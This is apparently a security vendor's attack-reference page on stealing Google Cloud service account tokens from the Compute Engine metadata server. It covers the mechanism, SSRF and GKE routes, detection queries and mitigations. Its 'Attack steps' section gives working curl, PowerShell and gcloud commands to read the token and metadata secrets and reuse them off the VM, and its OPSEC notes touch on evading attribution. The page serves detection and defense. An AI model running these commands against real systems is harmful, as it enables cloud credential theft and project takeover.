1. Resources
  2. Identity Threats
  3. Google Cloud

Google Cloud Metadata Server Token Theft

Also known as: GCE metadata server credential theft, GCP metadata SSRF, Compute Engine service account token theft, 169.254.169.254 token theft

Code that runs on a Compute Engine VM or GKE node, or a request forged through a vulnerable application, reads the attached service account's access token from the metadata server and uses it elsewhere.

Platform
Google Cloud
Impact
High
Last updated
Attack difficulty
Low
Detection difficulty
High
Privileges required: Any authenticated identity
Code execution as any user on a VM or in a container that can reach the metadata server, or a server-side request forgery flaw that lets the attacker set the Metadata-Flavor header.
What the attacker gains
An OAuth access token for the VM's service account, valid for up to an hour and renewable for as long as the foothold lasts. Usable from any machine.
Threat groups
TeamTNTAPT28APT29APT33APT38APT5HAFNIUMKe3changLAPSUS$NIMBUS MANTICOREScattered SpiderShinyHuntersStorm-0501TeamPCPand 1 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1552.005, T1528, T1078.004.

How it works

Every Compute Engine VM can reach a metadata server at metadata.google.internal (169.254.169.254). The server holds the instance's configuration and, when a service account is attached to the VM, it hands out that account's credentials. Client libraries and the gcloud CLI on the VM use it automatically, which is how a workload authenticates without a key file.

The relevant entries live under instance/service-accounts/:

  • email: the address of the attached service account
  • scopes: the access scopes assigned to it on this VM
  • token: an OAuth 2.0 access token for the account
  • identity: a signed ID token (JWT) for an audience the caller names

The metadata server does not ask who is calling. Any process on the VM that can open an HTTP connection gets the same answer as the application the service account was meant for. The token it returns is a bearer token: Google accepts it from whoever presents it, on any network, until it expires.

That creates three ways in:

  • Code execution on the VM. A web shell, a compromised dependency, a low-privileged SSH user or a container on the host can all query the server.
  • Server-side request forgery. An application that fetches URLs on behalf of users can be pointed at the metadata server. The request needs the header Metadata-Flavor: Google, and the server rejects requests that carry X-Forwarded-For, so only a flaw that lets the attacker control headers works.
  • Containers on GKE nodes. A pod that reaches the Compute Engine metadata server gets the node's service account, not its own. With Workload Identity Federation for GKE, a GKE metadata server on every node intercepts credential requests from pods, but pods on the host network (hostNetwork: true) are routed to the Compute Engine metadata server.

How much the token is worth depends on the attached account. A VM that runs as the Compute Engine default service account with the Editor role and the cloud-platform scope gives project-wide write access to anyone who can run curl on it.

Prerequisites

  • A foothold that can send HTTP requests from the VM: a shell as any user, code running in the application, a container without metadata protection, or an SSRF flaw with header control.
  • A service account attached to the instance. An instance created with no service account returns no token.
  • For the token to be useful: IAM roles on the service account and access scopes on the VM that allow the calls the attacker wants. Both must allow an action for it to succeed.

Changing which service account a VM runs as is a different attack, actAs privilege escalation. This page assumes the attacker takes what is already attached.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Identify the attached identity

MD=http://metadata.google.internal/computeMetadata/v1

# Which service account, and with which scopes
curl -s -H "Metadata-Flavor: Google" "$MD/instance/service-accounts/default/email"
curl -s -H "Metadata-Flavor: Google" "$MD/instance/service-accounts/default/scopes"

# Everything under the service accounts directory in one request
curl -s -H "Metadata-Flavor: Google" "$MD/instance/service-accounts/?recursive=true"

# Project context
curl -s -H "Metadata-Flavor: Google" "$MD/project/project-id"

On Windows instances the same request works from PowerShell:

Invoke-RestMethod -Headers @{'Metadata-Flavor' = 'Google'} `
    -Uri "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email"

2. Take the token

curl -s -H "Metadata-Flavor: Google" "$MD/instance/service-accounts/default/token"

The response is a JSON object:

{
  "access_token": "<token>",
  "expires_in": 3599,
  "token_type": "Bearer"
}

An ID token for a service that verifies identity is one more request:

curl -s -H "Metadata-Flavor: Google" \
    "$MD/instance/service-accounts/default/identity?audience=https://internal-app.corp.example.com"

3. Look for more in instance and project metadata

Custom metadata often holds startup scripts, and startup scripts often hold secrets:

curl -s -H "Metadata-Flavor: Google" "$MD/instance/attributes/?recursive=true"
curl -s -H "Metadata-Flavor: Google" "$MD/project/attributes/?recursive=true"

4. Use the token away from the VM

TOKEN=<access_token value from step 2>

# What the token represents and how long it lasts
curl -s "https://oauth2.googleapis.com/tokeninfo?access_token=$TOKEN"

# Call an API directly
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://compute.googleapis.com/compute/v1/projects/lab-project-0001/zones/us-central1-a/instances"

# Or hand the token to gcloud
echo "$TOKEN" > token.txt
gcloud projects get-iam-policy lab-project-0001 --access-token-file=token.txt

From here the attacker maps what the service account can do, as described in Google Cloud IAM enumeration. When the token expires, they return to the foothold for another.

Through SSRF

When the foothold is a request forgery flaw, the same URLs are supplied to the vulnerable parameter, and the attacker has to make the application send the Metadata-Flavor: Google header. Typical routes are a feature that accepts custom request headers, or a header injection in the URL-fetching code. If the application adds X-Forwarded-For, the metadata server refuses the request.

Impact

The attacker acts as the VM's service account from their own machine. Depending on its roles, that is read access to buckets and secrets, the ability to create or change compute resources, or, with the default service account and Editor, control of most of the project.

The token also opens the next step. A service account that holds Token Creator on other accounts leads to impersonation, and one that can create keys can turn a one-hour token into a permanent key. The compromise of one web server becomes a cloud identity incident.

OPSEC and artifacts

  • Reading the token writes no cloud log. The metadata server is local to the VM. A search of Cloud Audit Logs, including the Service Account Credentials API methods, cannot show that a token was read, and it cannot rule it out.
  • Host telemetry is the only record of the read. A process trace that shows which executable connected to 169.254.169.254, when, and for which path is what separates the application's routine token refresh from a shell's curl. Guest telemetry can name a process where the cloud log names only the service account.
  • Staying on the VM. Using the token from the VM keeps requestMetadata.callerIp at the instance's own address, so API calls look like the workload. The methods called still differ from what the workload normally does.
  • Taking the token off the VM. This avoids host monitoring for the later steps. The downstream audit entries then show the service account's principalEmail with a caller address and user agent that have never belonged to that VM.
  • Shared identities blur attribution. When several VMs or pods run as one service account, the audit log shows only that account. Nothing in a downstream entry says which machine the token came from.
  • Downscoped requests. A caller can ask the metadata server for a token with fewer scopes, never more than the instance has. It changes what the token can do, not what is logged.

Detection

Detection is indirect, because the theft itself is invisible to the cloud control plane.

  • Service account used from outside its VM. Audit entries where protoPayload.authenticationInfo.principalEmail is a VM's service account and protoPayload.requestMetadata.callerIp is not one of the project's instance or NAT addresses.
  • Service account doing new things. A workload identity that suddenly reads allow policies, lists service accounts or collects permission denied errors across many services. The permission probing rules cover that pattern.
  • Process-level monitoring on the host. Alert on connections to the metadata address from interpreters, shells and download tools, and on any request for /service-accounts/ paths by a process other than the known application or agent.
  • Changes that widen what a VM exposes. A VM switched to a more privileged service account, or a startup script added to metadata, raises the value of the next token read. See the VM service account rules and the startup script rules.
protoPayload.authenticationInfo.principalEmail="web-sa@lab-project-0001.iam.gserviceaccount.com"
AND NOT protoPayload.requestMetadata.callerIp="192.0.2.10"

Replace the address with the address the instance's API calls really come from, and compare protoPayload.requestMetadata.callerSuppliedUserAgent with what the workload normally sends. Read operations by the service account appear only where Data Access logging is enabled for the service being called, so a quiet log is weak evidence. Baseline the addresses and user agents of each service account before alerting.

Mitigation

  • Give every VM a dedicated, minimal service account. The token is worth what the account's roles are worth. Don't run workloads as the Compute Engine default service account, and enforce iam.automaticIamGrantsForDefaultServiceAccounts so that the default account is not granted Editor automatically.
  • Don't attach a service account that isn't needed. A VM created without one has no token to steal.
  • Control access with IAM roles on the account, which is Google's recommended model: set the cloud-platform scope and grant only the roles the workload needs. Access scopes are a legacy control and are no substitute for narrow roles.
  • Use Workload Identity Federation for GKE so that pods get their own identity and the GKE metadata server answers them. Avoid hostNetwork: true for workloads that run untrusted code, and give node pools a minimally privileged node service account.
  • Fix request forgery at the application. Validate destination hosts, block link-local addresses, and never let user input set outgoing request headers.
  • Keep untrusted code off VMs with sensitive identities. Separate build agents, user-supplied workloads and internet-facing services from instances whose service accounts can administer the project.
  • Keep secrets out of metadata. Startup scripts and custom attributes are readable by every process on the VM. Use a secret manager.
  • Collect host telemetry on instances with privileged service accounts, since it is the only place the read is recorded.

Detection rules for this attack

FAQ

Why can any process on a VM read the service account token?

The metadata server is how Compute Engine delivers credentials to workloads. It answers HTTP requests from inside the VM and does not authenticate the calling process or user. The only requirement is the Metadata-Flavor: Google header, which exists to stop simple request forgery, not to restrict local code.

Does the Metadata-Flavor header stop SSRF?

It stops the simplest cases. A flaw that only lets the attacker choose a URL can't add the header, and the metadata server also rejects any request that carries an X-Forwarded-For header. A flaw that lets the attacker control request headers, or code execution on the VM, is not stopped.

Can a stolen metadata token be used outside the VM?

Yes. It is a bearer token, so Google accepts it from whoever presents it, from any network, until it expires. The response's expires_in value shows the remaining lifetime, at most about an hour. The attacker needs to go back to the metadata server for a fresh one after that.

What limits the damage of a stolen token?

The roles of the attached service account and the VM's access scopes. A token can never do more than the service account's IAM roles allow, and it can't carry scopes beyond those set on the instance. A dedicated service account with few roles makes the stolen token nearly worthless.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.